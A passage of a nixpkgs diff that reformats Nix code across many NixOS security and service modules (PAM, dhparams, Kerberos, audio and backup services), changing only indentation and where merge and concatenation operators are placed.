-        r /etc/pki/tls/certs/,
+      r /etc/pki/tls/certs/,
 
-      ''
-      + lib.concatMapStringsSep "\n" etcRule [
-        "ssl/certs/ca-certificates.crt"
-        "ssl/certs/ca-bundle.crt"
-        "pki/tls/certs/ca-bundle.crt"
+    ''
+    + lib.concatMapStringsSep "\n" etcRule [
+      "ssl/certs/ca-certificates.crt"
+      "ssl/certs/ca-bundle.crt"
+      "pki/tls/certs/ca-bundle.crt"
 
-        {
-          path = "ssl/trust";
-          trail = "/";
-        }
-        {
-          path = "ssl/trust";
-          trail = "/*";
-        }
-        {
-          path = "ssl/trust/anchors";
-          trail = "/";
-        }
-        {
-          path = "ssl/trust/anchors";
-          trail = "/**";
-        }
-        {
-          path = "pki/trust";
-          trail = "/";
-        }
-        {
-          path = "pki/trust";
-          trail = "/*";
-        }
-        {
-          path = "pki/trust/anchors";
-          trail = "/";
-        }
-        {
-          path = "pki/trust/anchors";
-          trail = "/**";
-        }
-      ];
+      {
+        path = "ssl/trust";
+        trail = "/";
+      }
+      {
+        path = "ssl/trust";
+        trail = "/*";
+      }
+      {
+        path = "ssl/trust/anchors";
+        trail = "/";
+      }
+      {
+        path = "ssl/trust/anchors";
+        trail = "/**";
+      }
+      {
+        path = "pki/trust";
+        trail = "/";
+      }
+      {
+        path = "pki/trust";
+        trail = "/*";
+      }
+      {
+        path = "pki/trust/anchors";
+        trail = "/";
+      }
+      {
+        path = "pki/trust/anchors";
+        trail = "/**";
+      }
+    ];
     "abstractions/ssl_keys" = ''
       # security.acme NixOS module
       r /var/lib/acme/*/full.pem,
diff --git a/nixos/modules/security/dhparams.nix b/nixos/modules/security/dhparams.nix
index 36bb8398f542..ed00c3ada42f 100644
--- a/nixos/modules/security/dhparams.nix
+++ b/nixos/modules/security/dhparams.nix
@@ -144,67 +144,66 @@ in
   };
 
   config = lib.mkIf (cfg.enable && cfg.stateful) {
-    systemd.services =
-      {
-        dhparams-init = {
-          description = "Clean Up Old Diffie-Hellman Parameters";
+    systemd.services = {
+      dhparams-init = {
+        description = "Clean Up Old Diffie-Hellman Parameters";
 
-          # Clean up even when no DH params is set
-          wantedBy = [ "multi-user.target" ];
+        # Clean up even when no DH params is set
+        wantedBy = [ "multi-user.target" ];
 
-          serviceConfig.RemainAfterExit = true;
-          serviceConfig.Type = "oneshot";
+        serviceConfig.RemainAfterExit = true;
+        serviceConfig.Type = "oneshot";
 
-          script = ''
-            if [ ! -d ${cfg.path} ]; then
-              mkdir -p ${cfg.path}
+        script = ''
+          if [ ! -d ${cfg.path} ]; then
+            mkdir -p ${cfg.path}
+          fi
+
+          # Remove old dhparams
+          for file in ${cfg.path}/*; do
+            if [ ! -f "$file" ]; then
+              continue
             fi
+            ${lib.concatStrings (
+              lib.mapAttrsToList (
+                name:
+                { bits, path, ... }:
+                ''
+                  if [ "$file" = ${lib.escapeShellArg path} ] && \
+                     ${pkgs.openssl}/bin/openssl dhparam -in "$file" -text \
+                     | head -n 1 | grep "(${toString bits} bit)" > /dev/null; then
+                    continue
+                  fi
+                ''
+              ) cfg.params
+            )}
+            rm "$file"
+          done
 
-            # Remove old dhparams
-            for file in ${cfg.path}/*; do
-              if [ ! -f "$file" ]; then
-                continue
-              fi
-              ${lib.concatStrings (
-                lib.mapAttrsToList (
-                  name:
-                  { bits, path, ... }:
-                  ''
-                    if [ "$file" = ${lib.escapeShellArg path} ] && \
-                       ${pkgs.openssl}/bin/openssl dhparam -in "$file" -text \
-                       | head -n 1 | grep "(${toString bits} bit)" > /dev/null; then
-                      continue
-                    fi
-                  ''
-                ) cfg.params
-              )}
-              rm "$file"
-            done
-
-            # TODO: Ideally this would be removing the *former* cfg.path, though
-            # this does not seem really important as changes to it are quite
-            # unlikely
-            rmdir --ignore-fail-on-non-empty ${cfg.path}
-          '';
-        };
+          # TODO: Ideally this would be removing the *former* cfg.path, though
+          # this does not seem really important as changes to it are quite
+          # unlikely
+          rmdir --ignore-fail-on-non-empty ${cfg.path}
+        '';
+      };
+    }
+    // lib.mapAttrs' (
+      name:
+      { bits, path, ... }:
+      lib.nameValuePair "dhparams-gen-${name}" {
+        description = "Generate Diffie-Hellman Parameters for ${name}";
+        after = [ "dhparams-init.service" ];
+        before = [ "${name}.service" ];
+        wantedBy = [ "multi-user.target" ];
+        unitConfig.ConditionPathExists = "!${path}";
+        serviceConfig.Type = "oneshot";
+        script = ''
+          mkdir -p ${lib.escapeShellArg cfg.path}
+          ${pkgs.openssl}/bin/openssl dhparam -out ${lib.escapeShellArg path} \
+            ${toString bits}
+        '';
       }
-      // lib.mapAttrs' (
-        name:
-        { bits, path, ... }:
-        lib.nameValuePair "dhparams-gen-${name}" {
-          description = "Generate Diffie-Hellman Parameters for ${name}";
-          after = [ "dhparams-init.service" ];
-          before = [ "${name}.service" ];
-          wantedBy = [ "multi-user.target" ];
-          unitConfig.ConditionPathExists = "!${path}";
-          serviceConfig.Type = "oneshot";
-          script = ''
-            mkdir -p ${lib.escapeShellArg cfg.path}
-            ${pkgs.openssl}/bin/openssl dhparam -out ${lib.escapeShellArg path} \
-              ${toString bits}
-          '';
-        }
-      ) cfg.params;
+    ) cfg.params;
   };
 
   meta.maintainers = with lib.maintainers; [ ekleog ];
diff --git a/nixos/modules/security/duosec.nix b/nixos/modules/security/duosec.nix
index c1699f0cf308..b8ff3ae18856 100644
--- a/nixos/modules/security/duosec.nix
+++ b/nixos/modules/security/duosec.nix
@@ -21,12 +21,10 @@ let
     fallback_local_ip=${boolToStr cfg.fallbackLocalIP}
   '';
 
-  configFileLogin =
-    configFilePam
-    + ''
-      motd=${boolToStr cfg.motd}
-      accept_env_factor=${boolToStr cfg.acceptEnvFactor}
-    '';
+  configFileLogin = configFilePam + ''
+    motd=${boolToStr cfg.motd}
+    accept_env_factor=${boolToStr cfg.acceptEnvFactor}
+  '';
 in
 {
   imports = [
diff --git a/nixos/modules/security/krb5/krb5-conf-format.nix b/nixos/modules/security/krb5/krb5-conf-format.nix
index c6af150186b5..ef071f279c18 100644
--- a/nixos/modules/security/krb5/krb5-conf-format.nix
+++ b/nixos/modules/security/krb5/krb5-conf-format.nix
@@ -124,39 +124,38 @@ rec {
     in
     submodule {
       freeformType = attrsOf sectionType;
-      options =
-        {
-          include = mkOption {
-            default = [ ];
-            description = ''
-              Files to include in the Kerberos configuration.
-            '';
-            type = coercedTo path singleton (listOf path);
-          };
-          includedir = mkOption {
-            default = [ ];
-            description = ''
-              Directories containing files to include in the Kerberos configuration.
-            '';
-            type = coercedTo path singleton (listOf path);
-          };
-          module = mkOption {
-            default = [ ];
-            description = ''
-              Modules to obtain Kerberos configuration from.
-            '';
-            type = coercedTo path singleton (listOf path);
-          };
+      options = {
+        include = mkOption {
+          default = [ ];
+          description = ''
+            Files to include in the Kerberos configuration.
+          '';
+          type = coercedTo path singleton (listOf path);
+        };
+        includedir = mkOption {
+          default = [ ];
+          description = ''
+            Directories containing files to include in the Kerberos configuration.
+          '';
+          type = coercedTo path singleton (listOf path);
+        };
+        module = mkOption {
+          default = [ ];
+          description = ''
+            Modules to obtain Kerberos configuration from.
+          '';
+          type = coercedTo path singleton (listOf path);
+        };
 
-        }
-        // (lib.optionalAttrs enableKdcACLEntries {
-          realms = mkOption {
-            type = attrsOf realm;
-            description = ''
-              The realm(s) to serve keys for.
-            '';
-          };
-        });
+      }
+      // (lib.optionalAttrs enableKdcACLEntries {
+        realms = mkOption {
+          type = attrsOf realm;
+          description = ''
+            The realm(s) to serve keys for.
+          '';
+        };
+      });
     };
 
   generate =
diff --git a/nixos/modules/security/pam.nix b/nixos/modules/security/pam.nix
index 0020ace8da5d..3eba6d4b519e 100644
--- a/nixos/modules/security/pam.nix
+++ b/nixos/modules/security/pam.nix
@@ -2270,16 +2270,17 @@ in
           a malicious process can then edit such an authorized_keys file and bypass the ssh-agent-based authentication.
           See https://github.com/NixOS/nixpkgs/issues/31611
         ''
-      ++ lib.optional
-        (
-          with config.security.pam.rssh;
-          enable && settings.auth_key_file or null != null && settings.authorized_keys_command or null != null
-        )
-        ''
-          security.pam.rssh.settings.auth_key_file will be ignored as
-          security.pam.rssh.settings.authorized_keys_command has been specified.
-          Explictly set the former to null to silence this warning.
-        '';
+      ++
+        lib.optional
+          (
+            with config.security.pam.rssh;
+            enable && settings.auth_key_file or null != null && settings.authorized_keys_command or null != null
+          )
+          ''
+            security.pam.rssh.settings.auth_key_file will be ignored as
+            security.pam.rssh.settings.authorized_keys_command has been specified.
+            Explictly set the former to null to silence this warning.
+          '';
 
     environment.systemPackages =
       # Include the PAM modules in the system path mostly for the manpages.
@@ -2310,47 +2311,46 @@ in
 
     environment.etc = lib.mapAttrs' makePAMService enabledServices;
 
-    security.pam.services =
-      {
-        other.text = ''
-          auth     required pam_warn.so
-          auth     required pam_deny.so
-          account  required pam_warn.so
-          account  required pam_deny.so
-          password required pam_warn.so
-          password required pam_deny.so
-          session  required pam_warn.so
-          session  required pam_deny.so
-        '';
+    security.pam.services = {
+      other.text = ''
+        auth     required pam_warn.so
+        auth     required pam_deny.so
+        account  required pam_warn.so
+        account  required pam_deny.so
+        password required pam_warn.so
+        password required pam_deny.so
+        session  required pam_warn.so
+        session  required pam_deny.so
+      '';
 
-        # Most of these should be moved to specific modules.
-        i3lock.enable = lib.mkDefault config.programs.i3lock.enable;
-        i3lock-color.enable = lib.mkDefault config.programs.i3lock.enable;
-        vlock.enable = lib.mkDefault config.console.enable;
-        xlock.enable = lib.mkDefault config.services.xserver.enable;
-        xscreensaver.enable = lib.mkDefault config.services.xscreensaver.enable;
+      # Most of these should be moved to specific modules.
+      i3lock.enable = lib.mkDefault config.programs.i3lock.enable;
+      i3lock-color.enable = lib.mkDefault config.programs.i3lock.enable;
+      vlock.enable = lib.mkDefault config.console.enable;
+      xlock.enable = lib.mkDefault config.services.xserver.enable;
+      xscreensaver.enable = lib.mkDefault config.services.xscreensaver.enable;
 
-        runuser = {
-          rootOK = true;
-          unixAuth = false;
-          setEnvironment = false;
-        };
-
-        /*
-          FIXME: should runuser -l start a systemd session? Currently
-          it complains "Cannot create session: Already running in a
-          session".
-        */
-        runuser-l = {
-          rootOK = true;
-          unixAuth = false;
-        };
-      }
-      // lib.optionalAttrs (config.security.pam.enableFscrypt) {
-        # Allow fscrypt to verify login passphrase
-        fscrypt = { };
+      runuser = {
+        rootOK = true;
+        unixAuth = false;
+        setEnvironment = false;
       };
 
+      /*
+        FIXME: should runuser -l start a systemd session? Currently
+        it complains "Cannot create session: Already running in a
+        session".
+      */
+      runuser-l = {
+        rootOK = true;
+        unixAuth = false;
+      };
+    }
+    // lib.optionalAttrs (config.security.pam.enableFscrypt) {
+      # Allow fscrypt to verify login passphrase
+      fscrypt = { };
+    };
+
     security.apparmor.includes."abstractions/pam" =
       lib.concatMapStrings (name: "r ${config.environment.etc."pam.d/${name}".source},\n") (
         lib.attrNames enabledServices
diff --git a/nixos/modules/security/pam_mount.nix b/nixos/modules/security/pam_mount.nix
index fbc5fe1ed2b3..62deec4ca487 100644
--- a/nixos/modules/security/pam_mount.nix
+++ b/nixos/modules/security/pam_mount.nix
@@ -158,7 +158,8 @@ in
                 user = user.name;
                 path = user.cryptHomeLuks;
                 mountpoint = user.home;
-              } // user.pamMount;
+              }
+              // user.pamMount;
             in
             "<volume ${lib.concatStringsSep " " (lib.mapAttrsToList mkAttr attrs)} />\n";
         in
diff --git a/nixos/modules/security/wrappers/wrapper.nix b/nixos/modules/security/wrappers/wrapper.nix
index 13e328ffcc37..1d809ab6c9da 100644
--- a/nixos/modules/security/wrappers/wrapper.nix
+++ b/nixos/modules/security/wrappers/wrapper.nix
@@ -11,23 +11,22 @@ stdenv.mkDerivation {
   name = "security-wrapper-${baseNameOf sourceProg}";
   buildInputs = [ linuxHeaders ];
   dontUnpack = true;
-  CFLAGS =
-    [
-      ''-DSOURCE_PROG="${sourceProg}"''
-    ]
-    ++ (
-      if debug then
-        [
-          "-Werror"
-          "-Og"
-          "-g"
-        ]
-      else
-        [
-          "-Wall"
-          "-O2"
-        ]
-    );
+  CFLAGS = [
+    ''-DSOURCE_PROG="${sourceProg}"''
+  ]
+  ++ (
+    if debug then
+      [
+        "-Werror"
+        "-Og"
+        "-g"
+      ]
+    else
+      [
+        "-Wall"
+        "-O2"
+      ]
+  );
   dontStrip = debug;
   installPhase = ''
     mkdir -p $out/bin
diff --git a/nixos/modules/services/admin/oxidized.nix b/nixos/modules/services/admin/oxidized.nix
index 7c99e395adb5..a00a5d388101 100644
--- a/nixos/modules/services/admin/oxidized.nix
+++ b/nixos/modules/services/admin/oxidized.nix
@@ -97,51 +97,50 @@ in
       isSystemUser = true;
     };
 
-    systemd.tmpfiles.settings."10-oxidized" =
-      {
-        "${cfg.dataDir}" = {
-          d = {
-            mode = "0750";
-            user = cfg.user;
-            group = cfg.group;
-          };
-        };
-
-        "${cfg.dataDir}/.config" = {
-          d = {
-            mode = "0750";
-            user = cfg.user;
-            group = cfg.group;
-          };
-        };
-
-        "${cfg.dataDir}/.config/oxidized" = {
-          d = {
-            mode = "0750";
-            user = cfg.user;
-            group = cfg.group;
-          };
-        };
-
-        "${cfg.dataDir}/.config/oxidized/config" = {
-          "L+" = {
-            argument = "${cfg.configFile}";
-            user = cfg.user;
-            group = cfg.group;
-          };
-        };
-
-      }
-      // lib.optionalAttrs (cfg.routerDB != null) {
-        "${cfg.dataDir}/.config/oxidized/router.db" = {
-          "L+" = {
-            argument = "${cfg.routerDB}";
-            user = cfg.user;
-            group = cfg.group;
-          };
+    systemd.tmpfiles.settings."10-oxidized" = {
+      "${cfg.dataDir}" = {
+        d = {
+          mode = "0750";
+          user = cfg.user;
+          group = cfg.group;
         };
       };
 
+      "${cfg.dataDir}/.config" = {
+        d = {
+          mode = "0750";
+          user = cfg.user;
+          group = cfg.group;
+        };
+      };
+
+      "${cfg.dataDir}/.config/oxidized" = {
+        d = {
+          mode = "0750";
+          user = cfg.user;
+          group = cfg.group;
+        };
+      };
+
+      "${cfg.dataDir}/.config/oxidized/config" = {
+        "L+" = {
+          argument = "${cfg.configFile}";
+          user = cfg.user;
+          group = cfg.group;
+        };
+      };
+
+    }
+    // lib.optionalAttrs (cfg.routerDB != null) {
+      "${cfg.dataDir}/.config/oxidized/router.db" = {
+        "L+" = {
+          argument = "${cfg.routerDB}";
+          user = cfg.user;
+          group = cfg.group;
+        };
+      };
+    };
+
     systemd.services.oxidized = {
       wantedBy = [ "multi-user.target" ];
       after = [ "network.target" ];
diff --git a/nixos/modules/services/admin/pgadmin.nix b/nixos/modules/services/admin/pgadmin.nix
index 79cc14b828ec..ab70b75b7b87 100644
--- a/nixos/modules/services/admin/pgadmin.nix
+++ b/nixos/modules/services/admin/pgadmin.nix
@@ -157,24 +157,23 @@ in
   config = lib.mkIf (cfg.enable) {
     networking.firewall.allowedTCPPorts = lib.mkIf (cfg.openFirewall) [ cfg.port ];
 
-    services.pgadmin.settings =
-      {
-        DEFAULT_SERVER_PORT = cfg.port;
-        PASSWORD_LENGTH_MIN = cfg.minimumPasswordLength;
-        SERVER_MODE = true;
-        UPGRADE_CHECK_ENABLED = false;
-      }
-      // (lib.optionalAttrs cfg.openFirewall {
-        DEFAULT_SERVER = lib.mkDefault "::";
-      })
-      // (lib.optionalAttrs cfg.emailServer.enable {
-        MAIL_SERVER = cfg.emailServer.address;
-        MAIL_PORT = cfg.emailServer.port;
-        MAIL_USE_SSL = cfg.emailServer.useSSL;
-        MAIL_USE_TLS = cfg.emailServer.useTLS;
-        MAIL_USERNAME = cfg.emailServer.username;
-        SECURITY_EMAIL_SENDER = cfg.emailServer.sender;
-      });
+    services.pgadmin.settings = {
+      DEFAULT_SERVER_PORT = cfg.port;
+      PASSWORD_LENGTH_MIN = cfg.minimumPasswordLength;
+      SERVER_MODE = true;
+      UPGRADE_CHECK_ENABLED = false;
+    }
+    // (lib.optionalAttrs cfg.openFirewall {
+      DEFAULT_SERVER = lib.mkDefault "::";
+    })
+    // (lib.optionalAttrs cfg.emailServer.enable {
+      MAIL_SERVER = cfg.emailServer.address;
+      MAIL_PORT = cfg.emailServer.port;
+      MAIL_USE_SSL = cfg.emailServer.useSSL;
+      MAIL_USE_TLS = cfg.emailServer.useTLS;
+      MAIL_USERNAME = cfg.emailServer.username;
+      SECURITY_EMAIL_SENDER = cfg.emailServer.sender;
+    });
 
     systemd.services.pgadmin = {
       wantedBy = [ "multi-user.target" ];
@@ -227,7 +226,8 @@ in
         ExecStart = "${cfg.package}/bin/pgadmin4";
         LoadCredential = [
           "initial_password:${cfg.initialPasswordFile}"
-        ] ++ lib.optional cfg.emailServer.enable "email_password:${cfg.emailServer.passwordFile}";
+        ]
+        ++ lib.optional cfg.emailServer.enable "email_password:${cfg.emailServer.passwordFile}";
       };
     };
 
diff --git a/nixos/modules/services/amqp/rabbitmq.nix b/nixos/modules/services/amqp/rabbitmq.nix
index 39ff594c9f08..5b2794a18566 100644
--- a/nixos/modules/services/amqp/rabbitmq.nix
+++ b/nixos/modules/services/amqp/rabbitmq.nix
@@ -175,14 +175,13 @@ in
 
     users.groups.rabbitmq.gid = config.ids.gids.rabbitmq;
 
-    services.rabbitmq.configItems =
-      {
-        "listeners.tcp.1" = lib.mkDefault "${cfg.listenAddress}:${toString cfg.port}";
-      }
-      // lib.optionalAttrs cfg.managementPlugin.enable {
-        "management.tcp.port" = toString cfg.managementPlugin.port;
-        "management.tcp.ip" = cfg.listenAddress;
-      };
+    services.rabbitmq.configItems = {
+      "listeners.tcp.1" = lib.mkDefault "${cfg.listenAddress}:${toString cfg.port}";
+    }
+    // lib.optionalAttrs cfg.managementPlugin.enable {
+      "management.tcp.port" = toString cfg.managementPlugin.port;
+      "management.tcp.ip" = cfg.listenAddress;
+    };
 
     services.rabbitmq.plugins = lib.optional cfg.managementPlugin.enable "rabbitmq_management";
 
@@ -213,7 +212,8 @@ in
         RABBITMQ_ENABLED_PLUGINS_FILE = pkgs.writeText "enabled_plugins" ''
           [ ${lib.concatStringsSep "," cfg.plugins} ].
         '';
-      } // lib.optionalAttrs (cfg.config != "") { RABBITMQ_ADVANCED_CONFIG_FILE = advanced_config_file; };
+      }
+      // lib.optionalAttrs (cfg.config != "") { RABBITMQ_ADVANCED_CONFIG_FILE = advanced_config_file; };
 
       serviceConfig = {
         ExecStart = "${cfg.package}/sbin/rabbitmq-server";
diff --git a/nixos/modules/services/audio/gonic.nix b/nixos/modules/services/audio/gonic.nix
index 1eb118c22b73..800c08b13879 100644
--- a/nixos/modules/services/audio/gonic.nix
+++ b/nixos/modules/services/audio/gonic.nix
@@ -63,16 +63,15 @@ in
           cfg.settings.playlists-path
           cfg.settings.podcast-path
         ];
-        BindReadOnlyPaths =
-          [
-            # gonic can access scrobbling services
-            "-/etc/resolv.conf"
-            "${config.security.pki.caBundle}:/etc/ssl/certs/ca-certificates.crt"
-            builtins.storeDir
-          ]
-          ++ cfg.settings.music-path
-          ++ lib.optional (cfg.settings.tls-cert != null) cfg.settings.tls-cert
-          ++ lib.optional (cfg.settings.tls-key != null) cfg.settings.tls-key;
+        BindReadOnlyPaths = [
+          # gonic can access scrobbling services
+          "-/etc/resolv.conf"
+          "${config.security.pki.caBundle}:/etc/ssl/certs/ca-certificates.crt"
+          builtins.storeDir
+        ]
+        ++ cfg.settings.music-path
+        ++ lib.optional (cfg.settings.tls-cert != null) cfg.settings.tls-cert
+        ++ lib.optional (cfg.settings.tls-key != null) cfg.settings.tls-key;
         CapabilityBoundingSet = "";
         RestrictAddressFamilies = [
           "AF_UNIX"
diff --git a/nixos/modules/services/audio/hqplayerd.nix b/nixos/modules/services/audio/hqplayerd.nix
index 9eb09e86bb76..d7e155e9c8c4 100644
--- a/nixos/modules/services/audio/hqplayerd.nix
+++ b/nixos/modules/services/audio/hqplayerd.nix
@@ -122,19 +122,18 @@ in
           config.environment.etc."hqplayer/hqplayerd.xml".source
         ];
 
-        preStart =
-          ''
-            cp -r "${pkg}/var/lib/hqplayer/web" "${stateDir}"
-            chmod -R u+wX "${stateDir}/web"
+        preStart = ''
+          cp -r "${pkg}/var/lib/hqplayer/web" "${stateDir}"
+          chmod -R u+wX "${stateDir}/web"
 
-            if [ ! -f "${configDir}/hqplayerd.xml" ]; then
-              echo "creating initial config file"
-              install -m 0644 "${pkg}/etc/hqplayer/hqplayerd.xml" "${configDir}/hqplayerd.xml"
-            fi
-          ''
-          + lib.optionalString (cfg.auth.username != null && cfg.auth.password != null) ''
-            ${pkg}/bin/hqplayerd -s ${cfg.auth.username} ${cfg.auth.password}
-          '';
+          if [ ! -f "${configDir}/hqplayerd.xml" ]; then
+            echo "creating initial config file"
+            install -m 0644 "${pkg}/etc/hqplayer/hqplayerd.xml" "${configDir}/hqplayerd.xml"
+          fi
+        ''
+        + lib.optionalString (cfg.auth.username != null && cfg.auth.password != null) ''
+          ${pkg}/bin/hqplayerd -s ${cfg.auth.username} ${cfg.auth.password}
+        '';
       };
     };
 
diff --git a/nixos/modules/services/audio/jack.nix b/nixos/modules/services/audio/jack.nix
index 0a936447b14b..d6d8b502b0c7 100644
--- a/nixos/modules/services/audio/jack.nix
+++ b/nixos/modules/services/audio/jack.nix
@@ -254,19 +254,18 @@ in
 
       systemd.services.jack = {
         description = "JACK Audio Connection Kit";
-        serviceConfig =
-          {
-            User = "jackaudio";
-            SupplementaryGroups = lib.optional (
-              config.services.pulseaudio.enable && !config.services.pulseaudio.systemWide
-            ) "users";
-            ExecStart = "${cfg.jackd.package}/bin/jackd ${lib.escapeShellArgs cfg.jackd.extraOptions}";
-            LimitRTPRIO = 99;
-            LimitMEMLOCK = "infinity";
-          }
-          // lib.optionalAttrs umaskNeeded {
-            UMask = "007";
-          };
+        serviceConfig = {
+          User = "jackaudio";
+          SupplementaryGroups = lib.optional (
+            config.services.pulseaudio.enable && !config.services.pulseaudio.systemWide
+          ) "users";
+          ExecStart = "${cfg.jackd.package}/bin/jackd ${lib.escapeShellArgs cfg.jackd.extraOptions}";
+          LimitRTPRIO = 99;
+          LimitMEMLOCK = "infinity";
+        }
+        // lib.optionalAttrs umaskNeeded {
+          UMask = "007";
+        };
         path = [ cfg.jackd.package ];
         environment = {
           JACK_PROMISCUOUS_SERVER = "jackaudio";
diff --git a/nixos/modules/services/audio/mpd.nix b/nixos/modules/services/audio/mpd.nix
index 8f8e8b6be036..904b0a8c60a4 100644
--- a/nixos/modules/services/audio/mpd.nix
+++ b/nixos/modules/services/audio/mpd.nix
@@ -258,19 +258,18 @@ in
     systemd.services.mpd = {
       wantedBy = lib.optional (!cfg.startWhenNeeded) "multi-user.target";
 
-      preStart =
-        ''
-          set -euo pipefail
-          install -m 600 ${mpdConf} /run/mpd/mpd.conf
-        ''
-        + lib.optionalString (cfg.credentials != [ ]) (
-          lib.concatStringsSep "\n" (
-            lib.imap0 (
-              i: c:
-              ''${pkgs.replace-secret}/bin/replace-secret '{{password-${toString i}}}' '${c.passwordFile}' /run/mpd/mpd.conf''
-            ) cfg.credentials
-          )
-        );
+      preStart = ''
+        set -euo pipefail
+        install -m 600 ${mpdConf} /run/mpd/mpd.conf
+      ''
+      + lib.optionalString (cfg.credentials != [ ]) (
+        lib.concatStringsSep "\n" (
+          lib.imap0 (
+            i: c:
+            ''${pkgs.replace-secret}/bin/replace-secret '{{password-${toString i}}}' '${c.passwordFile}' /run/mpd/mpd.conf''
+          ) cfg.credentials
+        )
+      );
 
       serviceConfig = {
         User = "${cfg.user}";
diff --git a/nixos/modules/services/audio/navidrome.nix b/nixos/modules/services/audio/navidrome.nix
index ab6fc7b6bce4..4f40837fed63 100644
--- a/nixos/modules/services/audio/navidrome.nix
+++ b/nixos/modules/services/audio/navidrome.nix
@@ -127,18 +127,17 @@ in
             BindPaths =
               optional (cfg.settings ? DataFolder) cfg.settings.DataFolder
               ++ optional (cfg.settings ? CacheFolder) cfg.settings.CacheFolder;
-            BindReadOnlyPaths =
-              [
-                # navidrome uses online services to download additional album metadata / covers
-                "${config.security.pki.caBundle}:/etc/ssl/certs/ca-certificates.crt"
-                builtins.storeDir
-                "/etc"
-              ]
-              ++ optional (cfg.settings ? MusicFolder) cfg.settings.MusicFolder
-              ++ lib.optionals config.services.resolved.enable [
-                "/run/systemd/resolve/stub-resolv.conf"
-                "/run/systemd/resolve/resolv.conf"
-              ];
+            BindReadOnlyPaths = [
+              # navidrome uses online services to download additional album metadata / covers
+              "${config.security.pki.caBundle}:/etc/ssl/certs/ca-certificates.crt"
+              builtins.storeDir
+              "/etc"
+            ]
+            ++ optional (cfg.settings ? MusicFolder) cfg.settings.MusicFolder
+            ++ lib.optionals config.services.resolved.enable [
+              "/run/systemd/resolve/stub-resolv.conf"
+              "/run/systemd/resolve/resolv.conf"
+            ];
             CapabilityBoundingSet = "";
             RestrictAddressFamilies = [
               "AF_UNIX"
diff --git a/nixos/modules/services/audio/pulseaudio.nix b/nixos/modules/services/audio/pulseaudio.nix
index 6724e9a32f94..b4ef09f49760 100644
--- a/nixos/modules/services/audio/pulseaudio.nix
+++ b/nixos/modules/services/audio/pulseaudio.nix
@@ -286,17 +286,16 @@ in
           "pulse/default.pa".source = myConfigFile;
         };
         systemd.user = {
-          services.pulseaudio =
-            {
-              restartIfChanged = true;
-              serviceConfig = {
-                RestartSec = "500ms";
-                PassEnvironment = "DISPLAY";
-              };
-            }
-            // lib.optionalAttrs config.services.jack.jackd.enable {
-              environment.JACK_PROMISCUOUS_SERVER = "jackaudio";
+          services.pulseaudio = {
+            restartIfChanged = true;
+            serviceConfig = {
+              RestartSec = "500ms";
+              PassEnvironment = "DISPLAY";
             };
+          }
+          // lib.optionalAttrs config.services.jack.jackd.enable {
+            environment.JACK_PROMISCUOUS_SERVER = "jackaudio";
+          };
           sockets.pulseaudio = {
             wantedBy = [ "sockets.target" ];
           };
diff --git a/nixos/modules/services/backup/borgbackup.nix b/nixos/modules/services/backup/borgbackup.nix
index e8dfb2dd68a6..2dffe39ba49f 100644
--- a/nixos/modules/services/backup/borgbackup.nix
+++ b/nixos/modules/services/backup/borgbackup.nix
@@ -165,22 +165,20 @@ let
         CPUSchedulingPolicy = "idle";
         IOSchedulingClass = "idle";
         ProtectSystem = "strict";
-        ReadWritePaths =
-          [
-            "${userHome}/.config/borg"
-            "${userHome}/.cache/borg"
-          ]
-          ++ cfg.readWritePaths
-          # Borg needs write access to repo if it is not remote
-          ++ lib.optional (isLocalPath cfg.repo) cfg.repo;
+        ReadWritePaths = [
+          "${userHome}/.config/borg"
+          "${userHome}/.cache/borg"
+        ]
+        ++ cfg.readWritePaths
+        # Borg needs write access to repo if it is not remote
+        ++ lib.optional (isLocalPath cfg.repo) cfg.repo;
         PrivateTmp = cfg.privateTmp;
       };
-      environment =
-        {
-          BORG_REPO = cfg.repo;
-        }
-        // (mkPassEnv cfg)
-        // cfg.environment;
+      environment = {
+        BORG_REPO = cfg.repo;
+      }
+      // (mkPassEnv cfg)
+      // cfg.environment;
     };
 
   mkBackupTimers =
@@ -223,7 +221,11 @@ let
     mkWrapperDrv {
       original = lib.getExe config.services.borgbackup.package;
       name = "borg-job-${name}";
-      set = { BORG_REPO = cfg.repo; } // (mkPassEnv cfg) // cfg.environment;
+      set = {
+        BORG_REPO = cfg.repo;
+      }
+      // (mkPassEnv cfg)
+      // cfg.environment;
     };
 
   # Paths listed in ReadWritePaths must exist before service is started
@@ -895,7 +897,8 @@ in
 
       environment.systemPackages = [
         config.services.borgbackup.package
-      ] ++ (lib.mapAttrsToList mkBorgWrapper jobs);
+      ]
+      ++ (lib.mapAttrsToList mkBorgWrapper jobs);
     }
   );
 }
diff --git a/nixos/modules/services/backup/btrbk.nix b/nixos/modules/services/backup/btrbk.nix
index 9e39bb8ed4bb..4b705b3fb88b 100644
--- a/nixos/modules/services/backup/btrbk.nix
+++ b/nixos/modules/services/backup/btrbk.nix
@@ -354,12 +354,13 @@ in
       value = {
         description = "Takes BTRFS snapshots and maintains retention policies.";
         unitConfig.Documentation = "man:btrbk(1)";
-        path =
-          [ "/run/wrappers" ]
-          ++ cfg.extraPackages
-          ++ optional (instance.settings.stream_compress != "no") (
-            getAttr instance.settings.stream_compress streamCompressMap
-          );
+        path = [
+          "/run/wrappers"
+        ]
+        ++ cfg.extraPackages
+        ++ optional (instance.settings.stream_compress != "no") (
+          getAttr instance.settings.stream_compress streamCompressMap
+        );
         serviceConfig = {
           User = "btrbk";
           Group = "btrbk";
diff --git a/nixos/modules/services/backup/duplicity.nix b/nixos/modules/services/backup/duplicity.nix
index 22b43c5e131f..fa0b00db6b2c 100644
--- a/nixos/modules/services/backup/duplicity.nix
+++ b/nixos/modules/services/backup/duplicity.nix
@@ -162,82 +162,80 @@ in
 
   config = lib.mkIf cfg.enable {
     systemd = {
-      services.duplicity =
-        {
-          description = "backup files with duplicity";
+      services.duplicity = {
+        description = "backup files with duplicity";
 
-          environment.HOME = stateDirectory;
+        environment.HOME = stateDirectory;
 
-          script =
-            let
-              target = lib.escapeShellArg cfg.targetUrl;
-              extra = lib.escapeShellArgs (
+        script =
+          let
+            target = lib.escapeShellArg cfg.targetUrl;
+            extra = lib.escapeShellArgs (
+              [
+                "--archive-dir"
+                stateDirectory
+              ]
+              ++ cfg.extraFlags
+            );
+            dup = "${pkgs.duplicity}/bin/duplicity";
+          in
+          ''
+            set -x
+            ${dup} cleanup ${target} --force ${extra}
+            ${lib.optionalString (
+              cfg.cleanup.maxAge != null
+            ) "${dup} remove-older-than ${lib.escapeShellArg cfg.cleanup.maxAge} ${target} --force ${extra}"}
+            ${lib.optionalString (
+              cfg.cleanup.maxFull != null
+            ) "${dup} remove-all-but-n-full ${toString cfg.cleanup.maxFull} ${target} --force ${extra}"}
+            ${lib.optionalString (
+              cfg.cleanup.maxIncr != null
